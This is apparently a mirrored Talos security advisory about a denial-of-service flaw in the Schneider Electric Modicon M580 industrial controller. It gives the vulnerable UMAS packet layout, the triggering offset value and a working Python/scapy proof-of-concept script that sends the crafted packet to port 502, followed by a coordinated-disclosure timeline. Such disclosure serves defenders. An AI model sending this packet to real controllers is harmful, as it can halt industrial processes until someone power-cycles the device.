Lucene search

K
talosTalos IntelligenceTALOS-2019-0768
HistoryJun 10, 2019 - 12:00 a.m.

Schneider Electric Modicon M580 UMAS write system coils and holding registers denial-of-service vulnerability

2019-06-1000:00:00
Talos Intelligence
www.talosintelligence.com
289

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.002 Low

EPSS

Percentile

54.2%

Summary

An exploitable denial-of-service vulnerability exists in the UMAS write system coils and holding registers functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

<https://www.schneider-electric.com/en/work/campaign/m580-epac/&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as β€œUMAS.”

When attempting to write arbitrary bits or blocks to the Modicon M580, the command WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS can be used. It is possible to write beyond the end of a coil or register through manipulation of the offset field, causing a non-recoverable fault in some cases.

When object type 0x21 is requested via a WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS command with an offset value of 0xffffff, the device enters a non-recoverable fault state.

The structure of a WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F |       G       |   H   |   I   |   J
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1                          &lt; J continued &gt;
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x25)
D --&gt; Unknown              (0xff)
E --&gt; Unknown              (0x00)
F --&gt; Object Type          (0x21)
G --&gt; Offset               (0x00ffffff)
H --&gt; Unknown              (0x0000)
I --&gt; Number of Coils      (0x0000)
J --&gt; Data

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
 
def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp
 
def main():
    rhost = "192.168.10.1"
    rport = 502
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((rhost, rport))
 
    mbtcp_fnc = "\x5a"
    init_session = "\x00"
    umas_fnc = "\x25"
    unknown1 = "\xff"
    unknown2 = "\x00"
    object_type = "\x21"
    offset = "\xff\xff\xff\x00"
    unknown = "\x00\x00"
    num_coils = "\x00\x00"
    data = "\x00" * 10
    umas = "%s%s%s%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown1, unknown2, object_type, offset, unknown, num_coils)
    res = send_message(sock=s, umas=umas, data=data, wait_for_response=False)
 
    # clean up
    s.close()
 
if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.002 Low

EPSS

Percentile

54.2%